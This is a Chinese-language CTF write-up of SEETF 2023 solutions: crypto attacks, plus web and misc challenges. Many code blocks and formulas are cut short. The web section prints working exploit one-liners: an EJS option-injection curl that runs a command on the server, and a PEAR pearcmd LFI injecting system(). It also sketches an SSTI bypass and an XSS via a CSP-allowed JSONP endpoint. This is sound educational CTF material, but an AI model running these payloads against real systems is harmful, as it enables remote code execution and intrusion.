SEETF 2023 WriteUps
今年用 nyahello
solo 參賽,解了大部分的 crypto
和選了幾題 web 和 misc 來解。
Crypto
BabyRC4
用了同一把 key 對 flag 和已知 message 做 RC4 加密,所以 xor 兩個 ciphertext 和已知 message 就可以得到 flag。
Dumb Chall
總之這題一開始會在某個
1 | def first_verify(g, p, y, C, w, r) -> bool: |
第一個你可以提供
解法也很簡單,第一個就用
1 | from pwn import * |
OpenEndedRSA
1 | from Crypto.Util.number import * |
可知
1 | n = 102273879596517810990377282423472726027460443064683939304011542123196710774901060989067270532492298567093229128321692329740628450490799826352111218401958040398966213264648582167008910307308861267119229380385416523073063233676439205431787341959762456158735901628476769492808819670332459690695414384805355960329 |
Semaphore
1 | import ecdsa # https://pypi.org/project/ecdsa/ |
假設有兩個 hash 相同的 signature:
同乘
其中
不過因為 b'SEE{'.hex()
這邊有重複的字元,所以可以透過 2,4 和 3,5 一組得到的 public key
求出交集,就能知道
之後得到 z
是
sha256(flag + nibble)
,而 nibble 肯定有重複的,所以就類似
substitution cipher,然後結合已知的 flag format 去猜那個 substitution
table 就行了。
1 | sigs_str = """ |
onelinecrypto
1 | assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37 |
如題,這題就真的一行 python 而已。flag 符合 SEE{\w{23}}
且 int.from_bytes(flag.encode(),'big')%13**37 == 0
。
所以我們可以記 flag \w
(A-Za-z0-9_
) 的 ascii code。
這樣很直覺的可弄出個 lattice
求解,不過直接弄會發現我們想要的解不夠小,所以我先取個 charset 的平均
然而會遇到的一個問題是我們 charset 的 ascii code 中是有些 gaps 的,所以找到的最小解不一定符合 regex。我這邊的做法是參考 SECCON CTF 2022 Final - not new PRNG 用 fplll 做 lattice enumeration 搞定。
1 | # assert __import__('re').fullmatch(r'SEE{\w{23}}',flag:=input()) and not int.from_bytes(flag.encode(),'big')%13**37 |
Qskates
1 | #!/usr/bin/env python3 |
這題以 BB84 作為 QKD 協議,而我們可以當中間人去監聽並修改 alice 送給 bob 的訊息。不過這題主要的弱點在於它的 bits 和 bases 都是固定的,所以可以透過一些方法求出 bases, bits 並求出最後的 shared key。
首先先求 alice_bits
和
alice_bases
,這邊我們作為 eve 就先隨便猜一個 bit 的
bases,重複多次之後如果 mesaured message 的對應 bit
都是定值的話就代表我們猜對了,並同時能得到 alice_bits
的一個 bit。如果有變化的代表猜錯了,所以一樣能知道
alice_bases
的一個 bases,然後再用正確的 bases 再去求一次
measured message,也能得到 alice_bits
的一個 bit。
重複上面的動作 n 遍就能得到所有的 alice_bits
和
alice_bases
,不過要知道 key 還得知道
alice_bases
和 bob_bases
共同的 bases
有哪幾個。
這邊就是在 Enter bases to intercept
那邊先輸入正確的
alice_bases
,然後就能求得正確的
eve_results
,此時因為我們的 bases 就是正確的
alice_bases
,所以直接把這個原封不動作為
Enter bits to send to Bob
那邊的輸入送過去,則
alice_key == bob_key
是恆成立的。
如果在送給 bob 之前隨便 flip 一個 bit 會怎樣呢? 可以發現假設我們 flip
了第 i
bit,那麼 alice_key == bob_key
成立的條件是 alice_bases[i] != bob_bases[i]
,所以用這個
oracle 就能求得所有使 alice_bases[i] == bob_bases[i]
成立的
i
,然後由此就能獲得 key 解密 flag。
1 | from pwn import * |
Romeo and Juliet
1 | from Crypto.Util.number import getPrime, bytes_to_long |
簡單來說這題有
接下來有 16 次 oracle 的機會,每次 oracle 都分成 oracle 1 和 oracle 2 的部分:
- oracle 1:
- oracle 2:
首先肯定是要想辦法求
接下來在已經知道
最後是我們要怎麼求出 flag
這邊因為
1 | from pwn import * |
Isogeny Maze
1 | import os |
這題目標是從一個 31415926535897932384626433832795
) 的 substring。
既然是從 supersingular curve 開始,那麼
1 | import random |
不管跑幾次出來的結果都是
接下來是可以注意到
把它開頭 import Fp2
那邊改成這樣:
1 | # patch |
然後這樣就能找到 path 了:
1 | import sys |
接下來寫個 interaction script 搞定:
1 | from pwn import * |
後來好奇它為什麼能這麼快算出來的時候才發現它不是用 sage 內建的
isogeny,而是透過一個叫做 modular polynomial 的東西,它對於任何由
l-isogeny 所聯繫的兩個 j-invariants
簡單拿來改一下之後發現真的快上很多,而且用 DFS 的速度比 BFS 快的樣子。
1 | from sage.all import GF, var, PolynomialRing |
Shard
1 | from Crypto.Util.number import getPrime |
顯然是要先透過 hint
來分解
在知道
後來和別人討論知道可以改從 LSB 爆,因為 lowest bit 一定是
所以目前對於每一組可能的
1 | from sage.all import * |
分解完之後就是要解
randbelow(3**1337)
其實比這個要大點,因為
這部分的話就是找
1 | from Crypto.Cipher import AES |
Web
Express JavaScript Security
又是 ejs 3.1.9...
1 | const express = require('express'); |
和這篇差不多,不過這次
escapeFunction
被擋了,所以自己追進去 express
之後發現原來有個 escape
可以當作
escapeFunction
的 alias 用,這樣就能繞過了。
1 | curl 'http://ejs.web.seetf.sg:1337/greet' -G --data-urlencode 'settings[view%20options][debug]=true' --data-urlencode 'settings[view%20options][client]=true' --data-urlencode 'settings[view%20options][escape]=(() => {});return process.mainModule.require("child_process").execSync("/readflag").toString()' |
file uploader 1
SSTI filter bypass 題 :(
核心在這,其中 file.filename
可控,不過裡面的
"
都會被 encode:
1 | template = f""" |
總之我用 session.update(_=1); session.keys()
湊出
_
字串,然後用 str.__class__.__add__
去
concat,之後從 g.pop
上面串一串就出來了:
1 | import requests |
Star Cereal Episode 4: A New Pigeon
重點部分在這邊:
1 | const serialize = require('serialize-javascript'); // 6.0.1 |
總之追進去 xss-filters
裡面看它對 url
的處理是這樣搞的:
1 | if (type === 'L') { |
然後測試一下:
1 | > new URL('http://asd/</script>').toString() |
可知對於非 http protocol 也沒有 double slash 的 url 來說是不會 escape
的,所以可以直接用 </script>
關閉 script tag 弄
XSS。
CSP 的部分最可疑的是 www.youtube.com
,參考這個可知
YT 有個只在 invalid callback 才會觸發的 JSONP,所以可以用這個 XSS 拿
flag。
1 | <script> |
readonly
1 | error_reporting(0) && (isset($_GET["page"]) && include "/app/".$_GET["page"]) || header("Location: /?page=birds.html") |
這題是個很直接的 php lfi 題,一看到就知道是要打 PEAR。然而它 docker compose 是這樣寫的:
1 | version: "3" |
所以並不存在可以寫的目錄 (/dev
只有 root
能寫),所以要找其他方法。
在這篇 writeup 的最底下我有提過有人在 ASIS CTF Discord 提過 PEAR 有個地方有 code injection,不需要可寫的目錄,只需要存在 phpt 檔案就能觸發。所以我就拿那個來改然後就成功了。
1 | curl -vg $'http://readonly.web.seetf.sg:1337/?page=../../../usr/local/lib/php/pearcmd.php&+run-tests+-i-r"system(hex2bin(\'HEX_CMD\'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt' |
Misc
Another PyJail
1 | from types import CodeType |
這個 jail 我一看到它把 co_consts
和
co_names
就讓我想起了 HITCON CTF 2022 的 V O I
D,透過對固定 address 的 empty tuple 做 OOB
搞事,所以把它拿來改一改就成了:
1 | from types import CodeType |